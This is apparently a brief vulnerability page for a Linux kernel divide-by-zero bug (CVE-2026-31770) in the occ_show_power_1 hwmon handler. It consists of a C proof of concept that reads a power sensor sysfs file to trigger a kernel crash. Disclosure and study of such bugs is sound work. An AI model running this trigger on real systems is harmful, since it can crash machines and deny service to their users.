CVE-2026-31770 Linux内核除零错误漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // PoC for CVE-2026-31770: Division by zero in occ_show_power_1 // This PoC attempts to trigger the kernel crash by reading the sensor file. // Note: This requires the vulnerable hardware/driver state (update_tag == 0). int main() { const char *device_path = "/sys/class/hwmon/hwmonX/power1_average"; // Path may vary int fd; char buffer[32]; printf("Attempting to read from %s to trigger the vulnerability...\n", device_path); // Open the hwmon device file fd = open(device_path, O_RDONLY); if (fd < 0) { perror("Failed to open device file"); return 1; } // Trigger the read operation which calls occ_show_power_1() // If update_tag is 0, the kernel will crash here ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read < 0) { perror("Read failed"); } else { buffer[bytes_read] = '\0'; printf("Read successful (Vulnerability not triggered or already patched): %s\n", buffer); } close(fd); return 0; }